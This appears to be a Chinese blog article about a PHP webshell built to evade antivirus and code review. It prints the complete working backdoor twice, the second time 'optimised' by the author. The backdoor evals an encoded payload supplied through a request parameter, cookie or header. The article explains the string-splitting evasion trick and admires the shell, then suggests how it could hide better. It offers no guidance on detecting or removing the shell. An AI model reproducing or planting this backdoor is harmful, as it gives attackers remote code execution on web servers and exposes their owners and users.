这个木马,使用了更加高明的伪装手法!
可以轻易的避过一切杀毒软件、木马检测软件、运维工程师和程序工程师的粗心的检测!
真正做到了“免检”“免查杀”“绿色”。。。
1.这款木马具有免检不被发现安全绿色的伪装
2.PHP木马免检绕过木马扫描病毒查杀原理
有句老话
蛋炒饭,蛋炒饭,最简单,最困难!上述木马源码隆重的利用了
- 1.PHP变量连接
- 2.PHP字符串拆分
- 3.深刻的理解PHP字符串和数组转换规则
以此来实现了 PHP木马”免检“产品!
举个例子大家就明白了
$a = 'eval';echo $a[0];//输出e,同$a{0}echo $a[1];//输出v,同$a{1}echo $a[2];//输出a,同$a{2}echo $a[3];//输出l,同$a{3}echo $a[0].$a[1].$a[2].$a[3];//输出eval
3.PHP木马解码解密后的源码真实面纱
经过工程师不屑努力,以及相关朋友的提醒,终于弄清了木马的来龙去脉。。
我们这些PHP老鸟,都对此款木马佩服的五体投地!
4.PHP木马经典源码展现
通过一切的伪装、拼接,最后形成了核心2句话木马:
$kermy = create_function(' ', 'eval(array_pop(func_get_args()));');$kermy('j', 'Q', '$', 'D', 'I', 'c', 'c', 'f', 'y', '$i=array_merge($_REQUEST,$_COOKIE,$_SERVER);$a=isset($i["ljsqhrbs"])?$i["ljsqhrbs"]:(isset($i["HTTP_LJSQHRBS"])?$i["HTTP_LJSQHRBS"]:die);eval(strrev(base64_decode(strrev($a))));');不过作者 经过分析后,发现他们有个不完美的地方,就是 array_pop的参数必须是引用的,上述代码回产生个Strict Standards的警告!
本着英雄识英雄的癖好,帮他优化了下,优化后代码:
$kermy = create_function(' ', 'eval(@array_pop(func_get_args()));');$kermy('j', 'Q', '$', 'D', 'I', 'c', 'c', 'f', 'y', '$i=array_merge($_REQUEST,$_COOKIE,$_SERVER);$a=isset($i["ljsqhrbs"])?$i["ljsqhrbs"]:(isset($i["HTTP_LJSQHRBS"])?$i["HTTP_LJSQHRBS"]:die);eval(strrev(base64_decode(strrev($a))));');
5.PHP木马代码执行流程概略
博士毕业考试:导师:用你终身所学,请谨慎的回答我,1+1 = ?博士:额,怎么会这么简单?不可能吧!我该怎么回答呢?微积分?潜规则?陷阱?。。。。。真正的答案:2
- 1.设置烟雾弹'j', 'Q', '$', 'D', 'I', 'c', 'c', 'f', 'y',这也是迷惑作者百思不得其解的地方,就好像上述例子。
- 2.func_get_args()动态获取所以第二行传来的所有参数,最后通过array_pop获取最后1个参数为执行代码eval,其他参数都是烟雾弹!
- 3.将$_REQUEST(get+post),$_COOKIE,$_SERVER联合后赋值给$i
- 4.判断上述值里有没有外部传过来的ljsqhrbs参数木马,如果有则按照eval(strrev(base64_decode(strrev($a))))执行!
- 5.紧接着上述,如果没有ljsqhrbs,则看外部提交来的参数HTTP_LJSQHRBS在不在,如果在,则执行!如果不再,则强制暂停并结束脚本!
6.PHP木马评价&作者观点
PHP木马亮点:
1.很聪明,简直是太聪明了,费尽心机啊!
2.create_function第二个参数,灵活&深刻的理解并使用了函数包体里写常规php代码的亮点!潇洒不失浪漫、奔放不失严谨!一看就知道是木马专业或者PHP大师的杰出作品!
PHP木马败笔:
1. array_pop的参数必须是引用的,上述代码回产生个Strict Standards的警告!害的作者帮他优化了下。。。2.木马毕竟是木马,就算没有木马想要的参数或者执行失败,最后也不能die啊!如果你这个文件挂马在文件头部的话,岂不很容易暴露?